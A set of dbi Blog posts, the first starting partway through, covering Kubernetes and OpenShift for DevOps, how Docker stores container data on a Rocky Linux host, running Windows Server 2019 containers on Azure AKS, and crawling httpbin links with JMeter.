When your application has a lot of containers and the need to scale out (add containers) or scale in (remove containers) becomes frequent, doing it manually is cumbersome. This is the time to think about hosting your application into a Kubernetes cluster. Kubernetes is a container orchestrator tool that provides plenty of features to give flexibility and scalability to your application. The container (it is actually called a Pod in Kubernetes that is a wrap around the container but let’s keep it simple) autoscaling is one of them. If the frontend becomes too loaded, Kubernetes will automatically adds a new one based on criteria you configure. On the opposite if the traffic is very low, one frontend is removed. This is a simple example for you to get an idea of it.

Another feature of Kubernetes is to easily deploy replicas of your containers. A replica will be hosted on a separate nodes and thus make your application resilient in case of a hardware failure.

Kubernetes provides also the ability to deploy a new release of your application with different strategy and avoid or reduce the downtime of your application.

From there, it is now even possible to give the developers access to the Kubernetes cluster where they could deploy their application directly by themselves! They will have a separate environment production-like to do their tests. There is then no separation anymore between developers and operations and this is the spirit of you-know-which-word (I consider you’ve read the part 1!)!

If you want to learn more about Docker containers and Kubernetes, our Training course can be just what you need! Check it out!

Now the speed of our TTM improved a bit more as the deployment of your application will be quicker:

The Kubernetes flavour of Red Hat is called OpenShit which provides additional feature to vanilla Kubernetes. OpenShift has been optimized to let a developer quickly deploy its application directly from its code. This code will become an image that will be used to deploy some containers in the OpenShift cluster. All of these intermediary steps are taken care of by OpenShift. This is what a pipeline is doing without naming it! That is the automation pushed to its finest and this is the ultimate goal to reach. In this case our TTM is approaching the speed of light:

Kubernetes is a complex technology and if you don’t use it yet, you will have some homework to do to decide which flavour and which platform you are going to use:

Some Final Thoughts

For some small applications, this embedded OpenShift pipeline can be enough, however for bigger applications there is a need for a more complex infrastructure to go from the code to a Kubernetes cluster. This is where you’ll use more advanced pipeline tools. In a nutshell, a pipeline will build a new image from your code source when it is completed and push it into a registry. Then, a container will be created and deployed in a Kubernetes cluster by using that new image from the registry.

When your application is in production, used by end-users, you can collect metrics and feedback from them that will be used to improve your application. With a fast TTM, you can then quickly react to provide a feature in high-demand, innovate with smart add-ons or just fix a bug. This will all flow better, make your application shine and your business will thrive.

To keep your TTM on track or give it a nudge, you also need someone that has the view of the whole process from the code development to the production and can help solve the issues during this journey. The Release Manager will perfectly fit in this role. You can check the excellent article of my colleague Emmanuel Wagner who shares his experience on this very topic.

Summary

The containerization with the flexibility offered by Kubernetes is a major step for your application to reach the market faster. By using OpenShift from Red Hat with its simple embedded pipeline allows a developer to quickly deploy your application without any knowledge on containers or Kubernetes. He can focus solely on development and quickly see the final result.

I hope you’ve enjoyed this journey and have a clearer idea of what the DevOps process is through this simple example. To be successful with your excellent application, remember to start with small improvements and build up on that!

L’article Are You Afraid of the Word DevOps? – Part 2 est apparu en premier sur dbi Blog.

Data into one Docker container

I’ve got a Rocky Linux 8 virtual machine and I’ve installed docker in it. Let’s just create a container with an Ubuntu image on it to play with and understand its interactions with the host.

$ sudo docker container run -it --name myubuntu ubuntu:18.04
...
root@5dd708fd5afb:/# 

We directly connect into our Ubuntu container and the first test we are going to do is to create a file inside this container with a name that will be easy to find on the host:

root@5dd708fd5afb:/# touch benoit

root@5dd708fd5afb:/# ls
benoit  bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@5dd708fd5afb:/#

I’ve created a file with my first name that I can now find on my Rocky host:

[rocky ~]$ sudo find /var/lib/docker/ -name benoit
/var/lib/docker/overlay2/6796ec566b5bbdbcfa99efe742a042b574c17633a504d2d31f87a604e194f0a1/diff/benoit
/var/lib/docker/overlay2/6796ec566b5bbdbcfa99efe742a042b574c17633a504d2d31f87a604e194f0a1/merged/benoit

This file is found in 2 folders. Docker container uses the storage driver overlay2 to store files. You can find all the detailed informations related to it in the Docker documentation. On the Rocky host you can see in the path name to our file the default folder where all the container data are stored: /var/lib/docker/overlay2/ It is then followed by a directory ID and one of the folder used by overlay2: diff, link, lower, merged and work. Without entering into too much details, diff is the content of the container layer and merged is the unified view of files from the image and container layer.

So from the host you have access to the content of a container but it is not recommended to interact directly with it as Docker could get confused (it is one of its tasks to manage that).

Then, I exited from this container:

root@5dd708fd5afb:/# exit
exit
[rocky ~]$

Let’s have a look at what we can see on the host:

[rocky ~]$ sudo find /var/lib/docker/ -name benoit
/var/lib/docker/overlay2/6796ec566b5bbdbcfa99efe742a042b574c17633a504d2d31f87a604e194f0a1/diff/benoit

The file only appear in the diff folder. The container has exited but has not been deleted so let’s restart it and see if we can still see our file:

[rocky ~]$ sudo docker ps -a
CONTAINER ID   IMAGE           COMMAND                  CREATED             STATUS                      PORTS     NAMES
5dd708fd5afb   ubuntu:18.04    "/bin/bash"              About an hour ago   Exited (0) 6 minutes ago              myubuntu

[rocky ~]$ sudo docker start myubuntu
myubuntu

[rocky ~]$ sudo docker ps
CONTAINER ID   IMAGE          COMMAND       CREATED             STATUS         PORTS     NAMES
5dd708fd5afb   ubuntu:18.04   "/bin/bash"   About an hour ago   Up 8 seconds             myubuntu

[rocky ~]$ sudo docker exec -it -u 0 myubuntu bash

root@5dd708fd5afb:/# ls
benoit  bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

So yes our file is still there! Do we still see it on our Rocky host then?

[rocky ~]$ sudo find /var/lib/docker/ -name benoit
/var/lib/docker/overlay2/6796ec566b5bbdbcfa99efe742a042b574c17633a504d2d31f87a604e194f0a1/diff/benoit
/var/lib/docker/overlay2/6796ec566b5bbdbcfa99efe742a042b574c17633a504d2d31f87a604e194f0a1/merged/benoit

Yep, as the container is started we can now see our file again in the merged folder. Until the container is deleted, the files created in it are available as they are stored on the host.

Data into two Docker containers

Now let’s do another test by deleting this container and creating two of them. In each container we’ll create a file called benoit. In one ssh session:

[rocky ~]$ sudo docker container run -it --name myubuntu ubuntu:18.04

root@68171839b27d:/# touch benoit

root@68171839b27d:/# ls
benoit  bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

Then in another ssh session:

[rocky ~]$ sudo docker container run -it --name myubuntu2 ubuntu:18.04

root@4ba803c23419:/# touch benoit

root@4ba803c23419:/# ls
benoit  bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

Let’s now find out what we see on the Rocky host:

[rocky ~]$ sudo find /var/lib/docker/ -name benoit
/var/lib/docker/overlay2/3f074ba37b28f5f2cc533b405ecab3762c092fa406511dc2637264fc0a936200/diff/benoit
/var/lib/docker/overlay2/3f074ba37b28f5f2cc533b405ecab3762c092fa406511dc2637264fc0a936200/merged/benoit
/var/lib/docker/overlay2/710466e337a994b608e0e65bdd55b803d25c5ebbec81db77f17d74eb830c852f/diff/benoit
/var/lib/docker/overlay2/710466e337a994b608e0e65bdd55b803d25c5ebbec81db77f17d74eb830c852f/merged/benoit

As expected we have 2 pairs of our file in 2 separate folders. One for each container. You may wonder if there is a link between this directory ID and the container ID. Let’s have a look:

[rocky ~]$ sudo docker ps
CONTAINER ID   IMAGE          COMMAND       CREATED         STATUS         PORTS     NAMES
4ba803c23419   ubuntu:18.04   "/bin/bash"   7 minutes ago   Up 7 minutes             myubuntu2
68171839b27d   ubuntu:18.04   "/bin/bash"   7 minutes ago   Up 7 minutes             myubuntu

There is no link so how would you know which file belong to which container? I’m glad you asked! We need to inspect our container in order to link the directory ID to a container ID as shown below:

[rocky ~]$ sudo docker inspect 4ba803c23419 |grep -i upper
                "UpperDir": "/var/lib/docker/overlay2/710466e337a994b608e0e65bdd55b803d25c5ebbec81db77f17d74eb830c852f/diff",

[rocky ~]$ sudo docker inspect 68171839b27d |grep -i upper
                "UpperDir": "/var/lib/docker/overlay2/3f074ba37b28f5f2cc533b405ecab3762c092fa406511dc2637264fc0a936200/diff",

Look at this! By inspecting our container we can see the folder used to store its data on our Rocky host.

Finally let’s delete both containers and see what happens to the data it contained:

[rocky ~]$ sudo docker ps -a
CONTAINER ID   IMAGE           COMMAND                  CREATED          STATUS                       PORTS     NAMES
4ba803c23419   ubuntu:18.04    "/bin/bash"              17 minutes ago   Exited (127) 8 seconds ago             myubuntu2
68171839b27d   ubuntu:18.04    "/bin/bash"              17 minutes ago   Exited (0) 14 seconds ago              myubuntu

[rocky ~]$ sudo docker rm 4ba803c23419 68171839b27d
4ba803c23419
68171839b27d

[rocky ~]$ sudo find /var/lib/docker/ -name benoit

[rocky ~]$ sudo ls /var/lib/docker/overlay2/3f074ba37b28f5f2cc533b405ecab3762c092fa406511dc2637264fc0a936200
ls: cannot access '/var/lib/docker/overlay2/3f074ba37b28f5f2cc533b405ecab3762c092fa406511dc2637264fc0a936200': No such file or directory

[rocky ~]$ sudo ls /var/lib/docker/overlay2/710466e337a994b608e0e65bdd55b803d25c5ebbec81db77f17d74eb830c852f
ls: cannot access '/var/lib/docker/overlay2/710466e337a994b608e0e65bdd55b803d25c5ebbec81db77f17d74eb830c852f': No such file or directory

Now our files are gone with the container and they have been deleted from the Rocky host as well. In order to keep container data, you’ll need to create volumes on which data persists even after the container has been deleted.

How is a container stored on its host

Now that we have seen where a file created inside a container is stored on the Rocky host, let’s find out where the container itself is stored on our Rocky host:

[rocky ~]$ sudo docker ps
CONTAINER ID   IMAGE          COMMAND       CREATED          STATUS          PORTS     NAMES
c2032ee57de7   ubuntu:18.04   "/bin/bash"   10 minutes ago   Up 10 minutes             myubuntu

[rocky ~]$ sudo docker inspect c2032ee57de7| grep Id
        "Id": "c2032ee57de7097d6e050bc0b2561c8044baae710f01be570cf65ad7e62c7e24",

[rocky ~]$ sudo ls /var/lib/docker/containers/c2032ee57de7097d6e050bc0b2561c8044baae710f01be570cf65ad7e62c7e24
c2032ee57de7097d6e050bc0b2561c8044baae710f01be570cf65ad7e62c7e24-json.log  checkpoints	config.v2.json	hostconfig.json  hostname  hosts  mounts  resolv.conf  resolv.conf.hash

Easy! With the container ID we can find the associated folder that is stored in the containers folder of /var/lib/docker

After exiting from the container, we can now delete it and see the following:

[rocky ~]$ sudo docker ps -a
CONTAINER ID   IMAGE           COMMAND                  CREATED          STATUS                      PORTS     NAMES
c2032ee57de7   ubuntu:18.04    "/bin/bash"              16 minutes ago   Exited (0) 10 seconds ago             myubuntu

[rocky ~]$ sudo docker rm c2032ee57de7
c2032ee57de7

[rocky ~]$ sudo ls /var/lib/docker/containers/c2032ee57de7097d6e050bc0b2561c8044baae710f01be570cf65ad7e62c7e24
ls: cannot access '/var/lib/docker/containers/c2032ee57de7097d6e050bc0b2561c8044baae710f01be570cf65ad7e62c7e24': No such file or directory

Our container folder on the Rocky host has been deleted at the same time as the container as we could expect.

Wrap up

You should now have all the responses to our questioning at the beginning of this blog. I hope you’ve learned something interesting today. If you want to learn more about Docker and Kubernetes, or if you feel you have some gap in your knowledge, have a look at our dedicated Workshop on this topic. You’ll learned everything you need about those technologies with a lot of opportunities to practice with docker container. See you there!

L’article All about how Docker containers and data are stored on its host est apparu en premier sur dbi Blog.

As part of this 1.5 days, we are grouped in teams and have to face some challenges like building famous monuments with LEGO with some weight limitations in the number of pieces we can pick. It is a good opportunity to be creative, work as a team and have a good laugh in the process!

The final part of this bootcamp is to work together on a last minute request from a fictitious client. This request is very challenging and the time is limited. We get the instructions around 5:00pm and have to be ready by the next morning at 9:00am to present our solution. It requires all the brain power of each freshly hired dbi services employee to work together as an emergency task force to tackle this new project. We split the work between us to match our specialty at the best and thus give us all the chances to present a working solution. I took care of building the Kubernetes infrastructure on which we had to create Windows Server 2019 containers.

The challenge

Yes you’ve read correctly: Windows in a container…really? I’ve never bothered to try it or even think about it. However the OMrun product (from OMIS that has been integrated in dbi services) of our colleagues is working on Windows Server 2019 and so we had the challenge to make it run in a container… so a Windows one! We also needed to connect it to a MySQL Server instance and provide some redundancy.

The time is short, so using a managed Kubernetes solution for orchestrating those Windows containers seemed right. Also as we needed Windows and MySQL Server then Azure AKS (the Microsoft managed Kubernetes solution) sounded like the right choice. Let’s see how to configure that, it’s kind of a LEGO but in a digitalised form!

AKS cluster creation with Windows workers

A quick research in the Microsoft documentation and you find a useful article for this very purpose. This is the configuration I’ve set for our project, directly from the Bash Azure Cloud Shell:

$ az group create --name BootCampOmrun --location westeurope

$ echo "Please enter the username to use as administrator credentials for Windows Server nodes on your cluster: " && read WINDOWS_USERNAME

The first command creates a resource group which is like a folder in Azure that will contain all the resources you will create in it for this project. The second command asks you for a Windows username that will be stored in the variable WINDOWS_USERNAME. We will use it in the next command:

$ az aks create \
    --resource-group BootCampOmrun \
    --name AKSBootCamp \
    --node-count 3 \
    --enable-addons monitoring \
    --generate-ssh-keys \
    --windows-admin-username $WINDOWS_USERNAME \
    --vm-set-type VirtualMachineScaleSets \
    --network-plugin azure

This command creates the AKS cluster in our resource group with 3 worker nodes. We are now asked to set the password for the parameter windows-admin-password. This username and password parameter set the administrator credentials for any Windows Server nodes on the cluster. Also the parameter generate-ssh-keys will create a private and public key used to connect to this AKS cluster.

Those workers created with the AKS cluster are Linux workers. Now we need to add a Windows node pool that will create Windows workers on which we can create Windows containers (our goal!):

$ az aks nodepool add \
    --resource-group BootCampOmrun \
    --cluster-name AKSBootCamp \
    --os-type Windows \
    --name npwin \
    --node-count 2 \
    --node-vm-size Standard_A4m_v2

So we choose the os-type Windows and the node-vm-size. Those workers (like the Linux ones) are virtual machines in Azure and you have to select the proper size according to your requirement. OMrun needs 32G of memory so I’ve checked the Microsoft documentation to choose the correct one at a decent price (yes cost budget is also a parameter to take into account for this project!).

We can now see all the worker nodes in our AKS cluster:

$ kubectl get nodes -owide
NAME                                STATUS   ROLES   AGE     VERSION   INTERNAL-IP    EXTERNAL-IP   OS-IMAGE                         KERNEL-VERSION     CONTAINER-RUNTIME
aks-nodepool1-25638203-vmss000000   Ready    agent   4h24m   v1.24.9   10.224.0.62    <none>        Ubuntu 18.04.6 LTS               5.4.0-1103-azure   containerd://1.6.15+azure-1
aks-nodepool1-25638203-vmss000001   Ready    agent   4h24m   v1.24.9   10.224.0.33    <none>        Ubuntu 18.04.6 LTS               5.4.0-1103-azure   containerd://1.6.15+azure-1
aks-nodepool1-25638203-vmss000002   Ready    agent   4h24m   v1.24.9   10.224.0.4     <none>        Ubuntu 18.04.6 LTS               5.4.0-1103-azure   containerd://1.6.15+azure-1
aksnpwin000000                      Ready    agent   172m    v1.24.9   10.224.0.91    <none>        Windows Server 2019 Datacenter   10.0.17763.4010    containerd://1.6.14+azure
aksnpwin000001                      Ready    agent   172m    v1.24.9   10.224.0.122   <none>        Windows Server 2019 Datacenter   10.0.17763.4010    containerd://1.6.14+azure

There are 3 Linux worker nodes and 2 Windows ones in our AKS cluster in version 1.24.9.

Creation of a Windows container on a Windows worker

That is the last step to do and I’ve used the information from this website in order to quickly create a Windows pod and container. I’ve used the following yaml file and saved it as podwin.yaml:

apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: null
  labels:
    app: omrun-bc
  name: omrun-bc
spec:
  containers:
  - name: omrun-bc
    image: mcr.microsoft.com/windows/servercore:ltsc2019
    command:
     - powershell.exe
     - -command
     - "<#code used from https://gist.github.com/19WAS85/5424431#> ; $$listener = New-Object System.Net.HttpListener ; $$listener.Prefixes.Add('http://*:80/') ; $$listener.Start() ; $$callerCounts = @{} ; Write-Host('Listening at http://*:80/') ; while ($$listener.IsListening) { ;$$context = $$listener.GetContext() ;$$requestUrl = $$context.Request.Url ;$$clientIP = $$context.Request.RemoteEndPoint.Address ;$$response = $$context.Response ;Write-Host '' ;Write-Host('> {0}' -f $$requestUrl) ;  ;$$count = 1 ;$$k=$$callerCounts.Get_Item($$clientIP) ;if ($$k -ne $$null) { $$count += $$k } ;$$callerCounts.Set_Item($$clientIP, $$count) ;$$ip=(Get-NetAdapter | Get-NetIpAddress); $$header='<html><body><H1>Windows Container Web Server</H1>' ;$$callerCountsString='' ;$$callerCounts.Keys | % { $$callerCountsString+='<p>IP {0} callerCount {1} ' -f $$ip[1].IPAddress,$$callerCounts.Item($$_) } ;$$footer='</body></html>' ;$$content='{0}{1}{2}' -f $$header,$$callerCountsString,$$footer ;Write-Output $$content ;$$buffer = [System.Text.Encoding]::UTF8.GetBytes($$content) ;$$response.ContentLength64 = $$buffer.Length ;$$response.OutputStream.Write($$buffer, 0, $$buffer.Length) ;$$response.Close() ;$$responseStatus = $$response.StatusCode ;Write-Host('< {0}' -f $$responseStatus)  } ; "
  nodeSelector:
    kubernetes.io/os: windows
  dnsPolicy: ClusterFirst
  restartPolicy: Always
status: {}

Now all is ready and we can apply this yaml file to be scheduled on one of our Windows worker and connect to this Windows container in command line:

$ kubectl apply -f podwin.yaml 

$ kubectl exec -it omrun-bc -- cmd

And voilà! I couldn’t believe my eyes to be connected to Windows CLI into a container!

How to install OMrun in it?

So this is all good but here comes the tricky part. We have to install OMrun executables in this Windows Server 2019 container and I’ve tried several options.

The first thing is to connect to this AKS cluster from my Mac laptop and install the Azure CLI:

% brew install azure-cli

It took a while and I could then copy the private and public key generated previously into my .ssh folder and test my connection:

% az login

% az aks get-credentials --resource-group BootCampOmrun --name AKSBootCamp

% kubectl get nodes
NAME                                STATUS   ROLES   AGE     VERSION
aks-nodepool1-25638203-vmss000000   Ready    agent   4h15m   v1.24.9
aks-nodepool1-25638203-vmss000001   Ready    agent   4h15m   v1.24.9
aks-nodepool1-25638203-vmss000002   Ready    agent   4h15m   v1.24.9
aksnpwin000000                      Ready    agent   163m    v1.24.9
aksnpwin000001                      Ready    agent   163m    v1.24.9

I’m now connected and can use kubectl (install the package first on your Mac) to interact with the AKS cluster.

From there it got messy because AKS is nice but it is meant to manage your cluster so you can’t easily connect to the workers and containers from your machine as you would with a vanilla Kubernetes. The idea was to upload the OMrun executables to the Windows worker then the container and launch the installation in it. There are ways to connect to the workers through a Linux VM or through RDP in a Windows VM (my colleague Pierre Thanasack configured it successfully) in the resource group but that was not the proper way to go. We sticked with the DevOps best practice and created a Docker image we pushed on Docker Hub. Then in the yaml file of our pod we simply referenced that image and voilà… again!

This is my colleague Ryan Badaï (one of our rising star in our DevOps Team) that took care of that part and installed all the OMrun executables over a Windows Server 2019 image and built the final docker image. So we had the complete OMrun product as an image that could be made available for our Windows container. Brilliant!

Conclusion

What a journey! Thanks to this challenge we were able to push our limits, learn something new and present a working solution for such projects. We are now ready to respond to requests of real clients having such requirement. Of course we will need to work out all the details and make this configuration clean. We will also have to try to build Windows Server containers on other Kubernetes platform to have several options to offer for this solution.

Real LEGO or containers are both fun and can be used to build great projects!

Note for future newcomers, the challenges and project are different at each Bootcamp so be prepared to be amazed by this unique experience! Thank you dbi services for organising such event! #greatplacetowork

L’article Windows Server container on an AKS cluster est apparu en premier sur dbi Blog.

I found a website called httpbin. You can find plenty of tools to do online testing, but this one can even be self-hosted within a docker image.

In this blog, I will explain how to setup httpbin and then use one of this many features to crawl a website to, for example, looking for dead links.

httpbin

Starting httpbin is easy as running this command (and it is not the only advantage of it):

docker run -p 80:80 kennethreitz/httpbin

After pulling the image, the server runs and makes the main web page available:

It has following features:

• HTTP Methods: Testing different HTTP verbs
• Auth: Auth methods
• Status codes: Generates responses with given status code
• Request inspection: Inspect the request data
• Response inspection: Inspect the response data like caching and headers
• Response formats: Returns responses in different data formats
• Dynamic data: Generates random and dynamic data
• Cookies: Creates, reads and deletes Cookies
• Images: Returns different image formats
• Redirects: Returns different redirect responses
• Anything: Returns anything that is passed to request

When you click on a feature, it will display a list of accessible URLs. You can even try it out directly from within the browser.

For example, the most basic one (GET):

It as no parameter and it will return headers sent by the browser or curl command.

This is a bit simple to use JMeter for, so let’s try another feature.

GET Links

The other feature from httpbin I wanted to try is links:

It will return is a page full of links from 0 to n-1. For example with n equal 20:

JMeter

Let’s create a new JMeter Test Plan with the items required to have something to start with:

• A thread group
• HTTP Request
• Recording Controller
• Results Tree

You can see that the path is hard coded, which means that you will need to change it if you want to test with additional links. I can add a User Parameters preprocessor and declare a variable named number_of_links. Path will then be changed to links/${number_of_links}/${number_of_links}.

Under this initial HTTP request, I will add Regular Expression Extractor to find all links from the resulting page. It will be set like this:

All matches (match No. = -1) will be stored in links variable. It will match what is between href=' and '>.

Next step is too loop on the list of links that were found, so let’s add a ForEach controller:

Input variable will be the one generated by Regular Expression Extractor and output will be used in further HTTP requests within the loop.

Talking about HTTP request, here is how it will look like:

In this one, I am using link variable in Path parameter as well as the name. This will help to recognize request more easily in the Results Tree.

Before running the test plan, here is the tree view of the full plan:

l

Once I start the test plan, Results tree will be populated:

Conclusion

JMeter is not only a load test tool. With its programming capabilities (ie. logic controller), it can do much more.

And you, what are you doing with JMeter?

L’article Apache JMeter Playground est apparu en premier sur dbi Blog.